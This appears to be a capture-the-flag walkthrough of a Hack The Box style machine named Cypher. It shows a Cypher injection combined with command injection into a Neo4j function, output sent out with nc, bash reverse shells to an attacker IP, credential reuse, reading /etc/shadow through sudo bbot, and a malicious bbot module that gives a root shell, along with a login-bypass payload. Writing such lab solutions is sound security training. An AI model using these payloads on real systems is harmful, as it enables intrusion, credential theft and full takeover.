by 0xW1LD
We are given a target ip address: 10.129.216.175
Let’s start off with an nmap
scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
| 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see we have two services on open ports:
ssh
: 22
http
: 80
The http service is attempting to redirect us to cypher.htb
so let’s add this to our hosts file:
1
2
3
echo "$TARGET cypher.htb" | sudo tee -a /etc/hosts
10.129.216.175 cypher.htb
When we visit the http
webserver we are greeted with the following webpage:
Taking a look at the about page we’re given the following excerpt:
Discover GRAPH ASM, the revolutionary Attack Surface Management solution that harnesses the power of proprietary graph technology to map your organization’s digital landscape. Unlike solutions built on open-source components, GRAPH ASM’s fully proprietary, in-house developed engine provides unparalleled visibility into your network’s complex relationships and hidden vulnerabilities. Our cutting-edge, custom-built algorithms traverse your IT infrastructure with a level of sophistication that’s simply unattainable with conventional tools. Powered by our exclusive artificial intelligence, GRAPH ASM doesn’t just collect data – it transforms it into actionable insights. Our proprietary AI engine, designed specifically for attack surface management, analyzes the intricate web of your digital ecosystem to prioritize risks and strengthen your security posture. With GRAPH ASM, you’re not just getting a tool; you’re gaining access to the most advanced, non-open-source Attack Surface Management technology on the market. Choose GRAPH ASM for uncompromising security and innovation that’s truly one-of-a-kind.
Looking at the login page we have the following:
We can attempt to do a simple SQLi
using the following payload:
1
a' OR 1=1 -- -
Which results in the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 68 (offset: 67))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' OR 1=1 -- -' return h.value as hash"
^}
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid = verify_creds(username, password)
File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' OR 1=1 -- -' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 68 (offset: 67))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' OR 1=1 -- -' return h.value as hash"
^}
Looking at the last line we can see a neo4j cypher
query.
Cypher is neo4j’s graph query language, it is a NoSQL language similar to SQL with the difference being that it is a graph based database rather than a relationship oriented one.
Doing a directory scan we find the following:
1
2
3
4
5
6
/login (Status: 200) [Size: 3671]
/api (Status: 307) [Size: 0] [--> /api/docs]
/about (Status: 200) [Size: 4986]
/demo (Status: 307) [Size: 0] [--> /login]
/index (Status: 200) [Size: 4562]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
In https://cypher.htb/testing
we can find and download a jar
file:
Let’s use jd-gui
to decompile it:
We can spot a line potentially vulnerable to code injection in the CustomFunciton
class:
1
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
Given the things we’ve found we can attempt a Cyphher Injection
combined with a command injection
. Since we know it’s a neo4j cypher
query we can use Cypher Injection Cheatsheet as a guide.
Since we have already identified error-based
detection and have found a function call let’s try and call back our local machine by specifying the url to be our local machine.
Let’s start a listener:
1
2
3
nc -lvnp 80
listening on [any] 80 ...
And use the following payload to call the function:
1
1' OR 1=1 CALL custom.getUrlStatusCode('http://10.10.14.158') YIELD statusCode RETURN statusCode //
Success! we get the following callback:
1
2
3
4
5
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 53120
GET / HTTP/1.1
Host: 10.10.14.158
User-Agent: curl/8.5.0
Accept: */*
since the url
parameter is injected directly into a bash command we can attempt code execution using the following payload:
1
1' OR 1=1 CALL custom.getUrlStatusCode('; whoami | nc 10.10.14.158 80') YIELD statusCode RETURN statusCode //
I am using
nc
to get the command output called back to our listener as we cannot directly view the output of commands injected.
We’re neo4j
user!
1
2
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 37558
neo4j
Let’s inject a reverse shell:
1
1' OR 1=1 CALL custom.getUrlStatusCode('; bash -c "bash -i >& /dev/tcp/10.10.14.158/9001 0>&1"') YIELD statusCode RETURN statusCode //
We get a reverse shell on our listener!
1
2
3
4
5
6
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 35072
bash: cannot set terminal process group (1410): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$
Looking around in /var/lib/neo4j
we find a password in .bash_history
1
2
neo4j@cypher:~$ cat .bash_history
neo4j-admin dbms set-initial-password [REDACTED]
As well as the user graphasm
:
1
2
neo4j@cypher:~$ ls /home
graphasm
Let’s attempt to reuse these credentials:
1
2
3
neo4j@cypher:~$ su graphasm
Password:
graphasm@cypher:/var/lib/neo4j$
Success! This shell is a little unstable so let’s ssh
into the system instead:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ssh graphasm@cypher.htb
graphasm@cypher.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Mar 1 10:01:14 PM UTC 2025
System load: 0.15 Processes: 234
Usage of /: 68.5% of 8.50GB Users logged in: 0
Memory usage: 25% IPv4 address for eth0: 10.129.217.181
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Mar 1 22:01:38 2025 from 10.10.14.158
graphasm@cypher:~$
Checking graphasm
’s privileges we see we can run bbot
as root without a password:
1
2
3
4
5
6
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
We can also find a bbot_preset.yml
in our home directory:
1
2
3
4
5
6
7
8
9
10
11
12
graphasm@cypher:~$ ls -la
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root root 4096 Oct 8 17:58 ..
lrwxrwxrwx 1 root root 9 Oct 8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm 807 Mar 31 2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .ssh
-rw-r----- 1 root graphasm 33 Mar 1 20:37 user.txt
Looking around we find out that bbot is an OSINT tool.
Let’s look at our preset:
1
2
3
4
5
6
7
8
9
10
11
graphasm@cypher:~$ cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
Nothing very interesting, looking at the help
for the binary we can see a few interesting options:
-cy
: custom YARA rules, can take file input-d
: debug mode, increases verbosity--dry-run
: exit before doing any actual scansUsing these three flags we have an arbitrary file read by specifying the file we want to read as the custom YARA rule:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sudo bbot -cy /etc/shadow -d --dry-run
<SNIP>
[DBUG] internal.excavate: Final combined yara rule contents:
root:[REDACTED]
daemon:*:19962:0:99999:7:::
bin:*:19962:0:99999:7:::
sys:*:19962:0:99999:7:::
sync:*:19962:0:99999:7:::
games:*:19962:0:99999:7:::
man:*:19962:0:99999:7:::
lp:*:19962:0:99999:7:::
mail:*:19962:0:99999:7:::
news:*:19962:0:99999:7:::
uucp:*:19962:0:99999:7:::
proxy:*:19962:0:99999:7:::
www-data:*:19962:0:99999:7:::
backup:*:19962:0:99999:7:::
list:*:19962:0:99999:7:::
irc:*:19962:0:99999:7:::
_apt:*:19962:0:99999:7:::
nobody:*:19962:0:99999:7:::
systemd-network:!*:19962::::::
systemd-timesync:!*:19962::::::
dhcpcd:!:19962::::::
messagebus:!:19962::::::
systemd-resolve:!*:19962::::::
pollinate:!:19962::::::
polkitd:!*:19962::::::
syslog:!:19962::::::
uuidd:!:19962::::::
tcpdump:!:19962::::::
tss:!:19962::::::
landscape:!:19962::::::
fwupd-refresh:!*:19962::::::
usbmux:!:20004::::::
sshd:!:20004::::::
graphasm:[REDACTED]
neo4j:!:20004::::::
_laurel:!:20136::::::
<SNIP>
Additionally we can create a custom module that leads to code execution as root on the machine:
1
2
3
4
5
6
from bbot.modules.base import BaseModule
import os
class poc(BaseModule):
async def setup(self):
os.system('bash -c "bash -i >&/dev/tcp/10.10.14.158/9001 0>&1"')
As instructed let’s create a preset.yml
file to determine the location of our custom module:
1
2
3
# load BBOT modules from these additional paths
module_dirs:
- /home/graphasm
Let’s run it with our custom module selected:
1
sudo bbot -m poc -p /home/graphasm/preset.yml
We get a root shell on our listener!:
1
2
3
4
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 41800
root@cypher:/home/graphasm#
We can in fact bypass the login
using our cypher injection
which I think was the original intended method because if it wasn’t then the demo page would be redundant. Looking at the error messages we see the following values are being returned: u.name
and hash
1
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' return h.value as hash
This indicates that it’s matching the username and password hash through the database and returning them to the webserver for comparison. So we can actually return any value we want for the hash and then use that same value in the password field and we should be granted access.
So let’s create a sha1sum for the password we’ll use, I’ll use password
:
1
2
3
echo -n 'password' | sha1sum
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 -
Then let’s inject the following payload into our username field:
1
1' OR 1=1 RETURN u.name, '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AS hash //
and password
into our password field.
We get redirected into a /demo
page, where we can input any query we want:
We may also use this for the RCE: